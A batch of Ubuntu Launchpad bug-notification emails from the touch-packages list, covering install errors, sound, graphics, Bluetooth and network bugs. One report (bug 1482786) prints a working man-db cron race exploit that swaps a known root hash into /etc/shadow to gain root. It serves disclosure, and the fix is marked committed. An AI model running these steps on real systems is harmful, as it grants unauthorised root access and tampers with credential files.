ca-certificates 20160104ubuntu1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 2 UpgradeStatus: Upgraded to xenial on 2016-09-13 (3 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ca-certificates/+bug/1624673/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1608263] [NEW] Ubuntu touch: No data conection in mobile sice last patch
Public bug reported: Hi, Last 29th of july, i have applied a new patch over my phone ( BQ series ), after that patch, i can't use mobile data conecction, simply system doesn't allow to switch on on its button. I have tryed to restart but nothing works. So i think that since last system patch, mobile data conection is not possible. Is not my Operator, because i can use with other mobile. I'm not sure how i could report this kind of errors and how to obtain more data. Thanks ! Jose P.D.: Console/Terminal of the system doesn't work since more than 10 months, so i can't perform any "console" operation. ** Affects: upstart-app-launch (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to upstart-app-launch in Ubuntu. https://bugs.launchpad.net/bugs/1608263 Title: Ubuntu touch: No data conection in mobile sice last patch Status in upstart-app-launch package in Ubuntu: New Bug description: Hi, Last 29th of july, i have applied a new patch over my phone ( BQ series ), after that patch, i can't use mobile data conecction, simply system doesn't allow to switch on on its button. I have tryed to restart but nothing works. So i think that since last system patch, mobile data conection is not possible. Is not my Operator, because i can use with other mobile. I'm not sure how i could report this kind of errors and how to obtain more data. Thanks ! Jose P.D.: Console/Terminal of the system doesn't work since more than 10 months, so i can't perform any "console" operation. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/upstart-app-launch/+bug/1608263/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1413710] Re: Xorg crash - Fullscreen causing crash
As Jullian Gafar (jullian-gafar) wrote on 2015-08-20: I'm also having this issue with F11 or any application that goes fullscreen in Unity. -- System Software / Hardware Information Hardware: Processor: Intel Core i3-3110M @ 2.40GHz (4 Cores), Motherboard: LENOVO, Chipset: Intel 3rd Gen Core DRAM, Memory: 6144MB, Disk: 500GB Seagate ST500LT012-9WS14, Graphics: Intel HD 4000 (1000MHz), Audio: Conexant CX20757, Network: Qualcomm Atheros QCA8172 Fast + Qualcomm Atheros AR9485 Wireless Software: OS: Ubuntu 16.04, Kernel: 4.3.0-040300-generic (x86_64), Desktop: Unity 7.4.0, Display Server: X Server 1.18.3, Display Driver: intel 2.99.917, OpenGL: 3.3 Mesa 12.1.0-devel (git-7295428 2016-07-03 xenial-oibaf-ppa), Compiler: GCC 5.4.0 20160609, File-System: ext4, Screen Resolution: 1366x768 -- I'm trying Gnome or KDE alongside Unity. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1413710 Title: Xorg crash - Fullscreen causing crash Status in xorg package in Ubuntu: Invalid Bug description: I was listening to this YouTube video: http://www.infinitelooper.com/?v=-tJYN-eG1zk=n When I decided to make it full screen, but it didn't want to go, so I very quickly double-clicked on it twice, and then the entire screen went black. And no matter what I did, it go away. Although I could still hear the music from the video. As I couldn't do anything really about it I had to hold down my power button and force it to shutdown. And when it started up the screen was fine. It is a laptop so I don't think that the monitor just turned off or something. ProblemType: Bug DistroRelease: Ubuntu 14.10 Package: xorg 1:7.7+7ubuntu2 ProcVersionSignature: Ubuntu 3.16.0-29.39-generic 3.16.7-ckt2 Uname: Linux 3.16.0-29-generic x86_64 .tmp.unity.support.test.0: ApportVersion: 2.14.7-0ubuntu8.1 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true CurrentDesktop: Unity Date: Thu Jan 22 19:26:26 2015 DistUpgraded: 2014-12-13 16:39:34,851 DEBUG enabling apt cron job DistroCodename: utopic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GraphicsCard: Intel Corporation 2nd Generation Core Processor Family Integrated Graphics Controller [8086:0116] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Lenovo Device [17aa:5002] InstallationDate: Installed on 2014-12-06 (47 days ago) InstallationMedia: Ubuntu 14.04.1 LTS "Trusty Tahr" - Release amd64 (20140722.2) MachineType: LENOVO 62742SG ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.16.0-29-generic root=UUID=3883b8c8-34cb-4ec2-8834-fe85bbd10f52 ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display Title: Xorg crash UpgradeStatus: Upgraded to utopic on 2014-12-13 (40 days ago) dmi.bios.date: 11/15/2012 dmi.bios.vendor: LENOVO dmi.bios.version: H5ET69WW (1.12 ) dmi.board.asset.tag: Not Available dmi.board.name: 62742SG dmi.board.vendor: LENOVO dmi.board.version: Win8 Pro DPK IPG dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Not Available dmi.modalias: dmi:bvnLENOVO:bvrH5ET69WW(1.12):bd11/15/2012:svnLENOVO:pn62742SG:pvrLenovoB590:rvnLENOVO:rn62742SG:rvrWin8ProDPKIPG:cvnLENOVO:ct10:cvrNotAvailable: dmi.product.name: 62742SG dmi.product.version: Lenovo B590 dmi.sys.vendor: LENOVO version.compiz: compiz 1:0.9.12+14.10.20140918-0ubuntu1 version.ia32-libs: ia32-libs N/A version.libdrm2: libdrm2 2.4.56-1 version.libgl1-mesa-dri: libgl1-mesa-dri 10.3.2-0ubuntu0.1 version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx 10.3.2-0ubuntu0.1 version.xserver-xorg-core: xserver-xorg-core 2:1.16.0-1ubuntu1.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.9.0-1ubuntu2 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.4.0-2ubuntu2 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.914-1~exp1ubuntu4.1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.11-1ubuntu2 xserver.bootTime: Thu Jan 22 19:19:28 2015 xserver.configfile: default xserver.errors: xserver.logfile: /var/log/Xorg.0.log xserver.outputs: product id 827 vendor LGD xserver.version: 2:1.16.0-1ubuntu1.2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1413710/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe :
[Touch-packages] [Bug 1563110] Re: No sound on Asus e200ha, intel sst with cx2072x codec
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1454656 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1563110 Title: No sound on Asus e200ha, intel sst with cx2072x codec Status in ALSA driver: Unknown Status in alsa-driver package in Ubuntu: Confirmed Status in linux package in Ubuntu: Confirmed Bug description: I've recently bought an Asus e200ha. Sound in this laptop doesn't work. The sound card is an intel sst with codec conexant cx2072x aplay -l: aplay: device_list:268: no soundcard found... in the sound setting there is a "Dummy output" --- ApportVersion: 2.14.1-0ubuntu3.19 Architecture: amd64 AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: CurrentDesktop: XFCE DistroRelease: Ubuntu 14.04 HibernationDevice: RESUME=UUID=7b77dc46-7d5b-4869-83dd-739980736c3a InstallationDate: Installed on 2016-03-28 (0 days ago) InstallationMedia: Linux Mint 17.3 "Rosa" - Release amd64 20160105 Lsusb: Bus 002 Device 002: ID 0781:5583 SanDisk Corp. Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 13d3:3496 IMC Networks Bus 001 Device 002: ID 04f2:b54b Chicony Electronics Co., Ltd Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: ASUSTeK COMPUTER INC. E200HA Package: linux (not installed) ProcEnviron: TERM=xterm PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=it_IT.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.19.0-32-generic root=UUID=50fb13c0-a8cd-441d-a38b-c0295c1b9a15 ro quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 3.19.0-32.37~14.04.1-generic 3.19.8-ckt7 RelatedPackageVersions: linux-restricted-modules-3.19.0-32-generic N/A linux-backports-modules-3.19.0-32-generic N/A linux-firmware 1.127.16 Tags: rosa Uname: Linux 3.19.0-32-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 11/26/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: E200HA.203 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: E200HA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: ATN12345678901234567 dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrE200HA.203:bd11/26/2015:svnASUSTeKCOMPUTERINC.:pnE200HA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnE200HA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0: dmi.product.name: E200HA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/alsa-driver/+bug/1563110/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1563110] Re: No sound on Asus e200ha, intel sst with cx2072x codec
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1454656 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1563110 Title: No sound on Asus e200ha, intel sst with cx2072x codec Status in ALSA driver: Unknown Status in alsa-driver package in Ubuntu: Confirmed Status in linux package in Ubuntu: Confirmed Bug description: I've recently bought an Asus e200ha. Sound in this laptop doesn't work. The sound card is an intel sst with codec conexant cx2072x aplay -l: aplay: device_list:268: no soundcard found... in the sound setting there is a "Dummy output" --- ApportVersion: 2.14.1-0ubuntu3.19 Architecture: amd64 AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: CurrentDesktop: XFCE DistroRelease: Ubuntu 14.04 HibernationDevice: RESUME=UUID=7b77dc46-7d5b-4869-83dd-739980736c3a InstallationDate: Installed on 2016-03-28 (0 days ago) InstallationMedia: Linux Mint 17.3 "Rosa" - Release amd64 20160105 Lsusb: Bus 002 Device 002: ID 0781:5583 SanDisk Corp. Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 13d3:3496 IMC Networks Bus 001 Device 002: ID 04f2:b54b Chicony Electronics Co., Ltd Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: ASUSTeK COMPUTER INC. E200HA Package: linux (not installed) ProcEnviron: TERM=xterm PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=it_IT.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.19.0-32-generic root=UUID=50fb13c0-a8cd-441d-a38b-c0295c1b9a15 ro quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 3.19.0-32.37~14.04.1-generic 3.19.8-ckt7 RelatedPackageVersions: linux-restricted-modules-3.19.0-32-generic N/A linux-backports-modules-3.19.0-32-generic N/A linux-firmware 1.127.16 Tags: rosa Uname: Linux 3.19.0-32-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 11/26/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: E200HA.203 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: E200HA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: ATN12345678901234567 dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrE200HA.203:bd11/26/2015:svnASUSTeKCOMPUTERINC.:pnE200HA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnE200HA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0: dmi.product.name: E200HA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/alsa-driver/+bug/1563110/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1563110] Re: No sound on Asus e200ha, intel sst with cx2072x codec
I think for this device was the same problem because they have the same Intel Atom processor Z8300. Here they solved the problem, I don't know if this solution can be ported for ASUS Vivobook E200AH. http://forum.kodi.tv/showthread.php?tid=261371=3 Regards. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1563110 Title: No sound on Asus e200ha, intel sst with cx2072x codec Status in ALSA driver: Unknown Status in alsa-driver package in Ubuntu: Confirmed Status in linux package in Ubuntu: Confirmed Bug description: I've recently bought an Asus e200ha. Sound in this laptop doesn't work. The sound card is an intel sst with codec conexant cx2072x aplay -l: aplay: device_list:268: no soundcard found... in the sound setting there is a "Dummy output" --- ApportVersion: 2.14.1-0ubuntu3.19 Architecture: amd64 AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: CurrentDesktop: XFCE DistroRelease: Ubuntu 14.04 HibernationDevice: RESUME=UUID=7b77dc46-7d5b-4869-83dd-739980736c3a InstallationDate: Installed on 2016-03-28 (0 days ago) InstallationMedia: Linux Mint 17.3 "Rosa" - Release amd64 20160105 Lsusb: Bus 002 Device 002: ID 0781:5583 SanDisk Corp. Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 13d3:3496 IMC Networks Bus 001 Device 002: ID 04f2:b54b Chicony Electronics Co., Ltd Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: ASUSTeK COMPUTER INC. E200HA Package: linux (not installed) ProcEnviron: TERM=xterm PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=it_IT.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.19.0-32-generic root=UUID=50fb13c0-a8cd-441d-a38b-c0295c1b9a15 ro quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 3.19.0-32.37~14.04.1-generic 3.19.8-ckt7 RelatedPackageVersions: linux-restricted-modules-3.19.0-32-generic N/A linux-backports-modules-3.19.0-32-generic N/A linux-firmware 1.127.16 Tags: rosa Uname: Linux 3.19.0-32-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 11/26/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: E200HA.203 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: E200HA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: ATN12345678901234567 dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrE200HA.203:bd11/26/2015:svnASUSTeKCOMPUTERINC.:pnE200HA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnE200HA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0: dmi.product.name: E200HA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/alsa-driver/+bug/1563110/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1557026] Re: [SRU]Network Manager sets powersave off by default in xenial
In Ubuntu Xenial, with the proposed packages (1.2.0-0ubuntu0.16.04.3), running with the laptop plugged I get: $ sudo iwconfig wlan0 | grep "Power Management" Power Management:off And with the laptop unplugged: $ sudo iwconfig wlan0 | grep "Power Management" Power Management:on -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1557026 Title: [SRU]Network Manager sets powersave off by default in xenial Status in network-manager package in Ubuntu: Fix Released Status in network-manager source package in Xenial: Fix Committed Status in network-manager source package in Yakkety: Fix Released Bug description: [Impact] NetworkManager consumes more power than previous releases because powersave support is not updated. [Test Case] With the patch applied, network device power management should be on when supported, for example: $ sudo iwconfig wlan0 | grep "Power Management" Power Management:on [Regression Potential] Regression may happen when the power management feature of certain device isn't implemented properly in kernel, but since we are quite conservative on enabling power management in kernel development such case should be rare. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1557026/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 764414] Re: private master bugs are confusing and lead to more duplicate filings
** Changed in: apport (Ubuntu) Status: Triaged => Fix Committed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/764414 Title: private master bugs are confusing and lead to more duplicate filings Status in apport package in Ubuntu: Fix Committed Bug description: Binary package hint: apport Apport currently tracks the master bug as a private bug visible only to Ubuntu developers (bugcontrol) and makes duplicate bugs public after stripping their data. This works well but has some downsides: - Launchpad cannot show the master bug to folk reporting bugs via apport (so they file new bugs always) - After users file a new bug apport detects its a duplicate and then they cannot see the master bug and get frustrated. It would be nice to have: - the master bug be public so that reporters of dups can see it in the dupe finder and can see if a dupe is detected post-filing. - Developers still have easy access to the raw crash data. - One way to do that that does not need much development would be to have a private bug exist, linked from the master bug (e.g. with a comment or in the description; something like 'Confidential crashdump for this bug is attached to bug 12345 - only visible to Ubuntu developers'). One way to achieve this is to have apport file a new public bug to be the master. This would have the necessary metadata and would include the link to the private bug + gather all the duplicates to itself. One downside is that Apport would appear to be the bug reporter for all crashdump based bug reports. That's not necessarily a bad thing, but it may confuse people. Another way would be to have apport file a new private bug, move the attachments over from the original bug, add explanation and metadata in the description, subscribe bugcontrol and then sanitise the original bug report the same way it sanitises public bugs today. This would make the original bug be the public master, preserving the date of filing and the reporter. OTOH large files would need to be shuffled around and this might be unreliable. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/764414/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1482786] Re: man-db daily cron job TOCTOU bug when processing catman pages
** Changed in: apport (Ubuntu) Status: Confirmed => Fix Committed ** Changed in: man-db (Ubuntu) Status: Confirmed => Fix Committed ** Changed in: pam (Ubuntu) Status: Confirmed => Fix Committed ** Changed in: shadow (Ubuntu) Status: Confirmed => Fix Committed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pam in Ubuntu. https://bugs.launchpad.net/bugs/1482786 Title: man-db daily cron job TOCTOU bug when processing catman pages Status in apport package in Ubuntu: Fix Committed Status in man-db package in Ubuntu: Fix Committed Status in pam package in Ubuntu: Fix Committed Status in shadow package in Ubuntu: Fix Committed Bug description: The daily mandb cleanup job for old catman pages changes the permissions of all non-man files to user man. The problematic code is: # expunge old catman pages which have not been read in a week if [ -d /var/cache/man ]; then cd / if ! dpkg-statoverride --list /var/cache/man >/dev/null 2>1; then find /var/cache/man -ignore_readdir_race ! -user man -print0 | \ xargs -r0 chown -f man || true fi ... By creating a hard link and winning the race, user man may escalate privileges to user root. See [1] for full explanation. man# mkdir -p /var/cache/man/etc man# ln /var/crash/.lock /var/cache/man/etc/shadow man# ./DirModifyInotify --Watch /var/cache/man/etc --WatchCount 0 --MovePath /var/cache/man/etc --LinkTarget /etc ... Wait till daily cronjob was run man# cp /etc/shadow . man# sed -r -e 's/^root:.*/root:$1$kKBXcycA$w.1NUJ77AuKcSYYrjLn9s1:15462:0:9:7:::/' /etc/shadow > x man# cat x > /etc/shadow; rm x man# su -s /bin/sh (password is 123) root# cat shadow > /etc/shadow; chown root /etc/shadow # lsb_release -rd Description:Ubuntu 14.04.3 LTS Release:14.04 # apt-cache policy man-db man-db: Installed: 2.6.7.1-1ubuntu1 Candidate: 2.6.7.1-1ubuntu1 Version table: *** 2.6.7.1-1ubuntu1 0 500 http://archive.ubuntu.com/ubuntu/ trusty-updates/main amd64 Packages 100 /var/lib/dpkg/status 2.6.7.1-1 0 500 http://archive.ubuntu.com/ubuntu/ trusty/main amd64 Packages [1] http://www.halfdog.net/Security/2015/MandbSymlinkLocalRootPrivilegeEscalation/ To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1482786/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1586755] Re: package apport 2.20.1-0ubuntu2.1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1
** Description changed: I just did a package updatea manually (typed "updater" into launcher). ProblemType: Package DistroRelease: Ubuntu 16.04 Package: apport 2.20.1-0ubuntu2.1 ProcVersionSignature: Ubuntu 4.4.0-22.40-generic 4.4.8 Uname: Linux 4.4.0-22-generic x86_64 ApportLog: - + ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 CrashReports: - 644:0:116:0:2016-05-28 11:40:34.796151866 +0300:2016-05-28 11:40:34.796151866 +0300:/var/crash/udev.0.upload - 600:0:116:491414:2016-05-29 13:45:02.161813020 +0300:2016-05-29 13:45:03.161813020 +0300:/var/crash/apport.0.crash - 600:109:116:0:2016-05-28 11:40:40.052191695 +0300:2016-05-28 11:40:40.052191695 +0300:/var/crash/udev.0.uploaded - 640:0:116:810280:2016-05-28 11:40:30.160125494 +0300:2016-05-28 11:40:31.160125494 +0300:/var/crash/udev.0.crash + 644:0:116:0:2016-05-28 11:40:34.796151866 +0300:2016-05-28 11:40:34.796151866 +0300:/var/crash/udev.0.upload + 600:0:116:491414:2016-05-29 13:45:02.161813020 +0300:2016-05-29 13:45:03.161813020 +0300:/var/crash/apport.0.crash + 600:109:116:0:2016-05-28 11:40:40.052191695 +0300:2016-05-28 11:40:40.052191695 +0300:/var/crash/udev.0.uploaded + 640:0:116:810280:2016-05-28 11:40:30.160125494 +0300:2016-05-28 11:40:31.160125494 +0300:/var/crash/udev.0.crash Date: Sun May 29 13:45:03 2016 ErrorMessage: subprocess installed post-installation script returned error exit status 1 InstallationDate: Installed on 2016-05-12 (16 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) PackageArchitecture: all RelatedPackageVersions: - dpkg 1.18.4ubuntu1.1 - apt 1.2.10ubuntu1 + dpkg 1.18.4ubuntu1.1 + apt 1.2.10ubuntu1 SourcePackage: apport Title: package apport 2.20.1-0ubuntu2.1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 UpgradeStatus: No upgrade log present (probably fresh install) ** Changed in: apport (Ubuntu) Status: Confirmed => Fix Committed ** Changed in: apport (Ubuntu) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/1586755 Title: package apport 2.20.1-0ubuntu2.1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 Status in apport package in Ubuntu: Fix Released Bug description: I just did a package updatea manually (typed "updater" into launcher). ProblemType: Package DistroRelease: Ubuntu 16.04 Package: apport 2.20.1-0ubuntu2.1 ProcVersionSignature: Ubuntu 4.4.0-22.40-generic 4.4.8 Uname: Linux 4.4.0-22-generic x86_64 ApportLog: ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 CrashReports: 644:0:116:0:2016-05-28 11:40:34.796151866 +0300:2016-05-28 11:40:34.796151866 +0300:/var/crash/udev.0.upload 600:0:116:491414:2016-05-29 13:45:02.161813020 +0300:2016-05-29 13:45:03.161813020 +0300:/var/crash/apport.0.crash 600:109:116:0:2016-05-28 11:40:40.052191695 +0300:2016-05-28 11:40:40.052191695 +0300:/var/crash/udev.0.uploaded 640:0:116:810280:2016-05-28 11:40:30.160125494 +0300:2016-05-28 11:40:31.160125494 +0300:/var/crash/udev.0.crash Date: Sun May 29 13:45:03 2016 ErrorMessage: subprocess installed post-installation script returned error exit status 1 InstallationDate: Installed on 2016-05-12 (16 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) PackageArchitecture: all RelatedPackageVersions: dpkg 1.18.4ubuntu1.1 apt 1.2.10ubuntu1 SourcePackage: apport Title: package apport 2.20.1-0ubuntu2.1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1586755/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1530807] Re: Bluetooth cannot be activated on several devices
Hello all, Using ths DUT at least 20 minutes, then trying to turn on the BT. DUT cannot turning on by itself, user need to reboot the DUT to be able to connect any BT device. Fw: Ubuntu 15.04 (r10) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to indicator-bluetooth in Ubuntu. https://bugs.launchpad.net/bugs/1530807 Title: Bluetooth cannot be activated on several devices Status in The Avila project: Fix Committed Status in Canonical System Image: Fix Committed Status in Canonical Pocket Desktop: Confirmed Status in indicator-bluetooth package in Ubuntu: Confirmed Status in ubuntu-system-settings package in Ubuntu: Confirmed Bug description: Using RC proposed 04/01/2016 bluetooth cannot be enabled. Tested on a nexus 7. Expected behavior: Bluetooth slider is moved to on Bluetooth activates Available devices appear in the list Experienced behavior: Bluetooth slider is moved to on Activity spinners appear Bluetooth slider moves to off. To manage notifications about this bug go to: https://bugs.launchpad.net/avila/+bug/1530807/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1574863] Re: Radeon R9 380 HDMI, Digital Out -- No sound at all
Exact same graphic card. Exact same behavior. Sound goes well with hdmi after flesh install of ubuntu 15.10 (after several years wanting it), doesnt work anymore when I upgraded to 16.04. Please fix. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1574863 Title: Radeon R9 380 HDMI, Digital Out -- No sound at all Status in alsa-driver package in Ubuntu: Confirmed Bug description: Distro is Ubuntu Studio (lsb_release says 'Ubuntu 16.04 LTS') HDMI audio output worked in 15.10. No sound after upgrade to 16.04. ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.4.0-21.37-lowlatency 4.4.6 Uname: Linux 4.4.0-21-lowlatency x86_64 ApportVersion: 2.20.1-0ubuntu2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: schuyler 1729 F pulseaudio /dev/snd/controlC1: schuyler 1729 F pulseaudio CurrentDesktop: XFCE Date: Mon Apr 25 17:24:09 2016 InstallationDate: Installed on 2016-02-28 (57 days ago) InstallationMedia: Ubuntu-Studio 15.10 "Wily Werewolf" - Release amd64 (20151021) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:HDMI failed Symptom_Card: Tonga HDMI Audio [Radeon R9 285/380] - HDA ATI HDMI Symptom_DevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: schuyler 1729 F pulseaudio /dev/snd/controlC1: schuyler 1729 F pulseaudio Symptom_Jack: Digital Out, HDMI Symptom_Type: No sound at all Title: [To be filled by O.E.M., ATI R6xx HDMI, Digital Out, HDMI] No sound at all UpgradeStatus: Upgraded to xenial on 2016-04-25 (0 days ago) dmi.bios.date: 07/27/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: F2 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: Z170-HD3P-CF dmi.board.vendor: Gigabyte Technology Co., Ltd. 